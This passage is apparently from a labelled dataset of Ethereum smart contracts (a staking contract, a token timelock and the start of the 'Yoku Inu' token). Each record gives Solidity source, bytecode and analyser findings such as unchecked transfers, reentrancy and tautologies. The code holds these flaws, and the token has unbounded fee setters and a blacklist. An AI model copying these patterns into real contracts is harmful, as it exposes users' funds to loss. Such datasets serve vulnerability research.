_amount) internal { require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked"); info.totalFrozen -= _amount; info.users[msg.sender].frozen -= _amount; info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken); require(IERC20(UniswapV2).transfer(msg.sender, _amount), "Transaction failed"); emit UnstakeEvent(address(this), msg.sender, _amount); TakeDividends(); } function TakeDividends() public returns (uint256) { uint256 _dividends = dividendsOf(msg.sender); require(_dividends >= 0, "you do not have any dividend yet"); info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR); require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender emit RewardEvent(msg.sender, address(this), _dividends); return _dividends; } function scaledToken(uint _amount) external onlyAxiaToken returns(bool){ info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen; infocheck = info.scaledPayoutPerToken; return true; } function mulDiv (uint x, uint y, uint z) public pure returns (uint) { (uint l, uint h) = fullMul (x, y); assert (h < z); uint mm = mulmod (x, y, z); if (mm > l) h -= 1; l -= mm; uint pow2 = z & -z; z /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint r = 1; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; return l * r; } function fullMul (uint x, uint y) private pure returns (uint l, uint h) { uint mm = mulmod (x, y, uint (-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } }
0x608060405234801561001057600080fd5b50600436106101205760003560e01c806369c18e12116100ad578063ac3c853511610071578063ac3c8535146102b0578063b333de24146102cf578063b821b6bf146102d7578063c8910913146102df578063e0287b3e1461033057610120565b806369c18e12146102285780636b6b6aa4146102305780637640cb9e1461024d578063a43fc8711461026a578063aa9a09121461028757610120565b80631cfff51b116100f45780631cfff51b146101aa5780631e7f87bc146101c657806322701134146101ce578063376edab6146101f25780636387c9491461022057610120565b806265318b1461012557806308dbbb031461015d5780631495bf9a146101655780631bf6e00d14610184575b600080fd5b61014b6004803603602081101561013b57600080fd5b50356001600160a01b031661034d565b60408051918252519081900360200190f35b61014b6103b3565b6101826004803603602081101561017b57600080fd5b50356103b9565b005b61014b6004803603602081101561019a57600080fd5b50356001600160a01b03166103c5565b6101b26103e3565b604080519115158252519081900360200190f35b61014b6103f3565b6101d66103f9565b604080516001600160a01b039092168252519081900360200190f35b6101b26004803603604081101561020857600080fd5b506001600160a01b0381358116916020013516610408565b6101d6610530565b61014b61053f565b6101826004803603602081101561024657600080fd5b5035610545565b6101b26004803603602081101561026357600080fd5b503561054e565b6101826004803603602081101561028057600080fd5b50356105c3565b61014b6004803603606081101561029d57600080fd5b508035906020810135906040013561061b565b610182600480360360208110156102c657600080fd5b503515156106cf565b61014b6107ab565b61014b6108d5565b610305600480360360208110156102f557600080fd5b50356001600160a01b03166108db565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101826004803603602081101561034657600080fd5b5035610932565b600380546001600160a01b038316600090815260076020526040812090920154101561037b575060006103ae565b6001600160a01b03821660009081526007602052604090206002810154600190910154600854600160401b929102030490505b919050565b60025481565b6103c281610980565b50565b6001600160a01b031660009081526007602052604090206001015490565b600154600160a01b900460ff1681565b60065490565b6001546001600160a01b031681565b6009546000906001600160a01b031633146104545760405162461bcd60e51b8152600401808060200182810382526028815260200180610f2a6028913960400191505060405180910390fd5b816001600160a01b0316836001600160a01b031614156104a55760405162461bcd60e51b815260040180806020018281038252602a815260200180610f7a602a913960400191505060405180910390fd5b6001600160a01b038316158015906104c557506001600160a01b03821615155b6105005760405162461bcd60e51b8152600401808060200182810382526028815260200180610f526028913960400191505060405180910390fd5b50600080546001600160a01b039384166001600160a01b0319918216179091556001805492909316911617815590565b6000546001600160a01b031681565b60045481565b6103c281610ca3565b600080546001600160a01b031633146105985760405162461bcd60e51b815260040180806020018281038252602b815260200180610e87602b913960400191505060405180910390fd5b600654600160401b8302816105a957fe5b600880549290910490910190819055600455506001919050565b6009546001600160a01b0316331461060c5760405162461bcd60e51b8152600401808060200182810382526028815260200180610f2a6028913960400191505060405180910390fd5b670de0b6b3a764000002600255565b600080600061062a8686610e27565b9150915083811061063757fe5b6000848061064157fe5b868809905082811115610655576001820391505b91829003916000859003851680868161066a57fe5b04955080848161067657fe5b04935080816000038161068557fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b6009546001600160a01b031633146107185760405162461bcd60e51b8152600401808060200182810382526028815260200180610f2a6028913960400191505060405180910390fd5b6000546001600160a01b03161580159061073c57506001546001600160a01b031615155b61078d576040805162461bcd60e51b815260206004820181905260248201527f506f6f6c2061646472657373657320617265206e6f7420796574207365747570604482015290519081900360640190fd5b60018054911515600160a01b0260ff60a01b19909216919091179055565b6000806107b73361034d565b3360008181526007602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d602081101561085157600080fd5b5051610899576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60035481565b60008060008060006108eb6103f3565b6108f4876103c5565b6108fd8861034d565b6001600160a01b0398909816600090815260076020526040902060038101546002909101549299919897509550909350915050565b6009546001600160a01b0316331461097b5760405162461bcd60e51b8152600401808060200182810382526028815260200180610f2a6028913960400191505060405180910390fd5b600355565b600154600160a01b900460ff166109de576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a2857600080fd5b505afa158015610a3c573d6000803e3d6000fd5b505050506040513d6020811015610a5257600080fd5b50511015610aa7576040805162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e742053574150204146542062616c616e6365000000604482015290519081900360640190fd5b60025481610ab4336103c5565b011015610af25760405162461bcd60e51b815260040180806020018281038252603d815260200180610eed603d913960400191505060405180910390fd5b60015460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610b4257600080fd5b505afa158015610b56573d6000803e3d6000fd5b505050506040513d6020811015610b6c57600080fd5b50511015610bab5760405162461bcd60e51b815260040180806020018281038252603b815260200180610eb2603b913960400191505060405180910390fd5b33600081815260076020908152604080832042600382015560068054870190556001808201805488019055600854600290920180549288029092019091555481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610c3d57600080fd5b505af1158015610c51573d6000803e3d6000fd5b505050506040513d6020811015610c6757600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a350565b80610cad336103c5565b1015610cea5760405162461bcd60e51b8152600401808060200182810382526032815260200180610e556032913960400191505060405180910390fd5b6006805482900390553360008181526007602090815260408083206001818101805488900390556008546002909201805492880290920390915554815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610d7257600080fd5b505af1158015610d86573d6000803e3d6000fd5b505050506040513d6020811015610d9c57600080fd5b5051610de4576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a3610e236107ab565b5050565b6000808060001984860990508385029250828103915082811015610e4c576001820391505b50925092905056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72496e73657274696f6e206f662061646472657373283029206973206e6f7420737570706f72746564496e73657274696f6e206f662073616d652061646472657373206973206e6f7420737570706f72746564a2646970667358221220346cd0c1af1a2a0ab1f268dde3509a769eb834b5e106280dd2992cc7ece3097764736f6c63430006040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
4,867
0xa5e2efdddf1db346f2ef874fb0b4f33dab9de5ce
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens at predefined intervals. Tokens not claimed at payment epochs accumulate * Modified version of Openzeppelin's TokenTimeLock */ contract Lock is Ownable { using SafeMath for uint; enum period { second, minute, hour, day, week, month, //inaccurate, assumes 30 day month, subject to drift year, quarter,//13 weeks biannual//26 weeks } //The length in seconds for each epoch between payments uint epochLength; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; uint periods; //the size of periodic payments uint paymentSize; uint paymentsRemaining =0; uint startTime =0; uint beneficiaryBalance = 0; function initialize(address tokenAddress, address beneficiary, uint duration,uint durationMultiple,uint p) public onlyOwner{ release(); require(paymentsRemaining == 0, 'cannot initialize during active vesting schedule'); require(duration>=0 && p>0, 'epoch parameters must be positive'); _token = IERC20(tokenAddress); _beneficiary = beneficiary; if(duration<=uint(period.biannual)){ if(duration == uint(period.second)){ epochLength = durationMultiple * 1 seconds; }else if(duration == uint(period.minute)){ epochLength = durationMultiple * 1 minutes; } else if(duration == uint(period.hour)){ epochLength = durationMultiple *1 hours; }else if(duration == uint(period.day)){ epochLength = durationMultiple *1 days; } else if(duration == uint(period.week)){ epochLength = durationMultiple *1 weeks; }else if(duration == uint(period.month)){ epochLength = durationMultiple *30 days; }else if(duration == uint(period.year)){ epochLength = durationMultiple *52 weeks; }else if(duration == uint(period.quarter)){ epochLength = durationMultiple *13 weeks; } else if(duration == uint(period.biannual)){ epochLength = 26 weeks; } } else{ epochLength = duration; //custom value } periods = p; emit Initialized(tokenAddress,beneficiary,epochLength,p); } function deposit (uint amount) public { //remember to ERC20.approve require (_token.transferFrom(msg.sender,address(this),amount),'transfer failed'); uint balance = _token.balanceOf(address(this)); if(paymentsRemaining==0) { paymentsRemaining = periods; startTime = block.timestamp; } paymentSize = balance/paymentsRemaining; emit PaymentsUpdatedOnDeposit(paymentSize,startTime,paymentsRemaining); } function getElapsedReward() public view returns (uint,uint,uint){ if(epochLength == 0) return (0, startTime,paymentsRemaining); uint elapsedEpochs = (block.timestamp - startTime)/epochLength; if(elapsedEpochs==0) return (0, startTime,paymentsRemaining); elapsedEpochs = elapsedEpochs>paymentsRemaining?paymentsRemaining:elapsedEpochs; uint newStartTime = block.timestamp; uint newPaymentsRemaining = paymentsRemaining.sub(elapsedEpochs); uint balance =_token.balanceOf(address(this)); uint accumulatedFunds = paymentSize.mul(elapsedEpochs); return (beneficiaryBalance.add(accumulatedFunds>balance?balance:accumulatedFunds),newStartTime,newPaymentsRemaining); } function updateBeneficiaryBalance() private { (beneficiaryBalance,startTime, paymentsRemaining) = getElapsedReward(); } function changeBeneficiary (address beneficiary) public { require ((msg.sender == owner() &&paymentsRemaining == 0) || msg.sender == beneficiary, 'TokenTimelock: cannot change beneficiary while token balance positive'); _beneficiary = beneficiary; } /** * @return the beneficiary of the tokens. */ function currentBeneficiary() public view returns (address) { return _beneficiary; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= startTime, "TokenTimelock: current time is before release time"); updateBeneficiaryBalance(); uint amountToSend = beneficiaryBalance; beneficiaryBalance = 0; if(amountToSend>0) require(_token.transfer(_beneficiary,amountToSend),'release funds failed'); emit FundsReleasedToBeneficiary(_beneficiary,amountToSend,block.timestamp); } function emergencyWithdrawal() public onlyOwner{ uint balance = _token.balanceOf(address(this)); require(_token.transfer(msg.sender, balance),"Unable to transfer"); emit Shutdowntriggered(); } event PaymentsUpdatedOnDeposit(uint paymentSize,uint startTime, uint paymentsRemaining); event Initialized (address tokenAddress, address beneficiary, uint duration,uint periods); event FundsReleasedToBeneficiary(address beneficiary, uint value, uint timeStamp); event Shutdowntriggered(); }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063952aabc711610066578063952aabc714610107578063b6b55f251461010f578063d13f90b41461012c578063dc0706571461016e578063f2fde38b146101945761009e565b80635b0a3843146100a35780636041344f146100ad578063715018a6146100d357806386d1a69f146100db5780638da5cb5b146100e3575b600080fd5b6100ab6101ba565b005b6100b561037e565b60408051938452602084019290925282820152519081900360600190f35b6100ab6104b2565b6100ab610554565b6100eb6106c7565b604080516001600160a01b039092168252519081900360200190f35b6100eb6106d6565b6100ab6004803603602081101561012557600080fd5b50356106e5565b6100ab600480360360a081101561014257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060800135610893565b6100ab6004803603602081101561018457600080fd5b50356001600160a01b0316610ad3565b6100ab600480360360208110156101aa57600080fd5b50356001600160a01b0316610b6b565b6101c2610c63565b6000546001600160a01b03908116911614610212576040805162461bcd60e51b81526020600482018190526024820152600080516020610eaa833981519152604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561025d57600080fd5b505afa158015610271573d6000803e3d6000fd5b505050506040513d602081101561028757600080fd5b50516002546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b1580156102e057600080fd5b505af11580156102f4573d6000803e3d6000fd5b505050506040513d602081101561030a57600080fd5b5051610352576040805162461bcd60e51b81526020600482015260126024820152712ab730b13632903a37903a3930b739b332b960711b604482015290519081900360640190fd5b6040517f3b2f6247aff57578fd19e1ea642c8de318338a40ae0abd43c2f1a66fda3cd0fd90600090a150565b60008060006001546000141561039f575050600754600654600092506104ad565b60006001546007544203816103b057fe5b049050806103cc576000600754600654935093509350506104ad565b60065481116103db57806103df565b6006545b60065490915042906000906103f49084610c67565b600254604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561044557600080fd5b505afa158015610459573d6000803e3d6000fd5b505050506040513d602081101561046f57600080fd5b50516005549091506000906104849086610cb2565b90506104a18282116104965781610498565b825b60085490610d0b565b97509295509093505050505b909192565b6104ba610c63565b6000546001600160a01b0390811691161461050a576040805162461bcd60e51b81526020600482018190526024820152600080516020610eaa833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007544210156105955760405162461bcd60e51b8152600401808060200182810382526032815260200180610e106032913960400191505060405180910390fd5b61059d610d65565b6008805460009091558015610679576002546003546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561060557600080fd5b505af1158015610619573d6000803e3d6000fd5b505050506040513d602081101561062f57600080fd5b5051610679576040805162461bcd60e51b81526020600482015260146024820152731c995b19585cd948199d5b991cc819985a5b195960621b604482015290519081900360640190fd5b600354604080516001600160a01b039092168252602082018390524282820152517f9bd82e051713c4f9fbc39346b2d6901e1c5250f750bb526781f116d15d46f0f29181900360600190a150565b6000546001600160a01b031690565b6003546001600160a01b031690565b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561073f57600080fd5b505af1158015610753573d6000803e3d6000fd5b505050506040513d602081101561076957600080fd5b50516107ae576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107f957600080fd5b505afa15801561080d573d6000803e3d6000fd5b505050506040513d602081101561082357600080fd5b505160065490915061083a57600454600655426007555b600654818161084557fe5b04600581905560075460065460408051938452602084019290925282820152517f809ddd73fba007b10377633695958cc9ab0c34b75ac62ee2926b99a57f4db8299181900360600190a15050565b61089b610c63565b6000546001600160a01b039081169116146108eb576040805162461bcd60e51b81526020600482018190526024820152600080516020610eaa833981519152604482015290519081900360640190fd5b6108f3610554565b600654156109325760405162461bcd60e51b8152600401808060200182810382526030815260200180610eca6030913960400191505060405180910390fd5b600081116109715760405162461bcd60e51b8152600401808060200182810382526021815260200180610e896021913960400191505060405180910390fd5b600280546001600160a01b038088166001600160a01b031992831617909255600380549287169290911691909117905560088311610a6d57826109b8576001829055610a68565b60018314156109cd57603c8202600155610a68565b60028314156109e357610e108202600155610a68565b60038314156109fa57620151808202600155610a68565b6004831415610a115762093a808202600155610a68565b6005831415610a285762278d008202600155610a68565b6006831415610a40576301dfe2008202600155610a68565b6007831415610a57576277f8808202600155610a68565b6008831415610a685762eff1006001555b610a73565b60018390555b6004819055600154604080516001600160a01b038089168252871660208201528082019290925260608201839052517f80a4f91a1411c5f4e795a325f8a70cfa7b44e183d7210a793e00a248056638819181900360800190a15050505050565b610adb6106c7565b6001600160a01b0316336001600160a01b0316148015610afb5750600654155b80610b0e5750336001600160a01b038216145b610b495760405162461bcd60e51b8152600401808060200182810382526045815260200180610efa6045913960600191505060405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b610b73610c63565b6000546001600160a01b03908116911614610bc3576040805162461bcd60e51b81526020600482018190526024820152600080516020610eaa833981519152604482015290519081900360640190fd5b6001600160a01b038116610c085760405162461bcd60e51b8152600401808060200182810382526026815260200180610e426026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6000610ca983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d78565b90505b92915050565b600082610cc157506000610cac565b82820282848281610cce57fe5b0414610ca95760405162461bcd60e51b8152600401808060200182810382526021815260200180610e686021913960400191505060405180910390fd5b600082820183811015610ca9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610d6d61037e565b600655600755600855565b60008184841115610e075760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dcc578181015183820152602001610db4565b50505050905090810190601f168015610df95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206265666f72652072656c656173652074696d654f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7765706f636820706172616d6574657273206d75737420626520706f7369746976654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657263616e6e6f7420696e697469616c697a6520647572696e67206163746976652076657374696e67207363686564756c65546f6b656e54696d656c6f636b3a2063616e6e6f74206368616e67652062656e6566696369617279207768696c6520746f6b656e2062616c616e636520706f736974697665a2646970667358221220c10a7186696700f21879ab5800ccf2cba5e3b032520b778213050627dfc3543f64736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
4,868
0xa515d543fcecd6164c9543b10122b148ff500b60
/** * * https://t.me/YokuInu **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YokuInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x72acFcB554b445642a25A105Cd0c9B8971f173b6); address payable private _feeAddrWallet2 = payable(0x761369B72c4Ed513BcF699ba9bf75641257CCB85); string private constant _name = "Yoku Inu"; string private constant _symbol = "YOKU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < 